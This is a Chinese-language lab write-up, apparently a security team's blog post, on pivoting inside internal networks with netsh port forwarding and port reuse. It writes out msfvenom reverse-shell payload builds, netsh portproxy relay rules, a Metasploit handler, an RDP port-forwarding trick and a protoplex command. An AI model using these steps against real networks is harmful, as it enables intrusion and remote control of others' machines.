內網--埠轉發以及埠複用

語言: CN / TW / HK

前言

前段時間在一次內網中遇到了一個問題,當時想了很多辦法,雖然最終沒能解決但是也學了很多東西。

現在想想也是很愁。

情景再現

大致情況就是現在處於192的網段然後有一個172網段機器的mssql賬號(可以執行命令和上傳檔案),並且172網段上的這臺伺服器只對192這臺機器開放了1433埠,需要到172的網段。

一張圖簡單明瞭。

埠複用

雖然最終沒能解決問題,但是也是學到了不少方法來應對相似的情況。

1、netsh

netsh(Network Shell) 是一個windows系統本身提供的功能強大的網路配置命令列工具,可以檢視或更改本地計算機或遠端計算機的網路配置。

場景 1

假如,就是說假如咱們這裡放開一下限制規則 172的網段依然不出網,且只對192網段開放1433埠,但是172可以訪問192的網段。那這樣咱們可以通過172機器反向連線192機器然後在192機器做埠轉發到攻擊機器上的監聽埠,這裡在本地復現改了一下ip 如下圖:

以及修改目標機器的防火潛規則確保其他的埠無法被訪問。

使用msf生成反彈馬,然後將木馬上傳到目標機器。

msfvenom -a x64 --platform windows  -p windows/x64/meterpreter/reverse_tcp  LHOST=10.211.55.10 LPORT=6767  -i 3 -f exe -o o.exe

然後我們在10.211.5.10這臺機器通過netsh設定埠轉發將6767轉發到攻擊機的監聽埠。

netsh interface portproxy add v4tov4 listenport=6767 connectport=6767 connectaddress=192.168.49.129

在攻擊機上設定監聽,然後在目標機器上執行木馬。

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.49.129
set lport 6767

攻擊機器成功收到會話。

場景2

在場景1中我們的目標機器可以隨意訪問我們跳板機5.10的任意埠,假如我們這邊開始增加限制目標機器不能隨意訪問跳板機器的埠,只能訪問指定埠比如:80、445、1433、1521、3306、3389、6379、8080,這其中的一個或者多個埠,如下圖。

和上面一樣通過ms生成反向連線馬以及上傳到目標伺服器,設定連線埠為80.

msfvenom -a x64 --platform windows  -p windows/x64/meterpreter/reverse_tcp  LHOST=10.211.55.10 LPORT=80  -i 3 -f exe -o o.exe

這裡為了嚴謹依然通過防火牆設定埠限制,80可以訪問到,其他埠均不能訪問。

然後通過netsh設定埠轉發。

netsh interface portproxy add v4tov4 listenport=80 connectport=6767 connectaddress=192.168.49.129

然後在目標機器上執行木馬,我們通過埠連線可以看到目標機器與跳板機的80埠進行了連線且跳板機也收到連線,但是跳板機的80埠並沒有轉發到攻擊機的監聽埠,如下圖。

我們攻擊機也同樣沒有收到回話。

繼續測試3306埠(只對目標機器開放3306,其他埠均禁止),步驟同上我們這邊直接跳過重複步驟,直接到執行木馬,然後我們可以發現msf成功的接受到了會話,如下圖。

埠正常轉發。

經過測試發現3306和8080可以正常的進行轉發80、445、1433、3389、6379等不可轉發猜測下是windows自帶的一些服務可能都不支援這種情況。

場景3

我們繼續增加限制條件在場景2中我們的目標機器可以訪問我們跳板機5.10的個別埠,假如我們這邊開始增加限制目標機器不能訪問跳板機器的埠,但是我們也不是隻能訪問目標機器的1433,我們這次增加一個別的埠80或者3306等,如下圖。

我們先討論80埠的情況,這個就比較簡單直接看是什麼web服務然後上傳對應的shell連線就可以了(Neo-reGeorg)。

然後是3306,我們依然可以通過netsh進行埠轉發列出一個最簡單的方式就是將目標機器上的3306埠轉發到3389埠上。

netsh interface portproxy add v4tov4 listenport=3306 listenaddress=10.211.55.5 connectport=3389 connectaddress=10.211.55.5

然後我們可以讀密碼或者加使用者,再通過跳板機去連線遠端桌面這裡直接連線3306埠。

經過測試這種情況下有很多埠是不可以這樣轉發的就比如iis開放的80埠,已經mssql的1433埠,但是像3306、8080這種埠是可以被轉發的,所以實際不同情況需要多嘗試(這裡實驗時差點把自己繞進去)。

2、工具

protoplex

這是一個協議複用的工具,比如命令可將本地9999埠的流量根據協議型別轉到本地的2333和80埠,這裡我做了一下實驗,發現該工具的監聽埠不能被佔用也不能是3306、1433、3389這種的特殊埠。

他可以監聽10.211.55.5:4444,如果是socks5協議的流量就將流量轉發給10.211.55.5:9999,如果是http流量,就將流量轉發給10.211.55.5:80

protoplex_windows_amd64.exe --socks5 10.211.55.5:9999 --http 10.211.55.5:80 -b 10.211.55.5:4444


其他機器訪問

socks5測試不理想,最終也是沒能解決這個問題。

期待找到解決辦法。

Tide安全團隊正式成立於2019年1月,是新潮資訊旗下以網際網路攻防技術研究為目標的安全團隊,團隊致力於分享高質量原創文章、開源安全工具、交流安全技術,研究方向覆蓋網路攻防、系統安全、Web安全、移動終端、安全開發、物聯網/工控安全/AI安全等多個領域。

團隊作為“省級等保關鍵技術實驗室”先後與哈工大、齊魯銀行、聊城大學、交通學院等多個高校名企建立聯合技術實驗室,近三年來在網路安全技術方面開展研發專案60餘項,獲得各類自主智慧財產權30餘項,省市級科技專案立項20餘項,研究成果應用於產品核心技術研究、國家重點科技專案攻關、專業安全服務等。對安全感興趣的小夥伴可以加入或關注我們。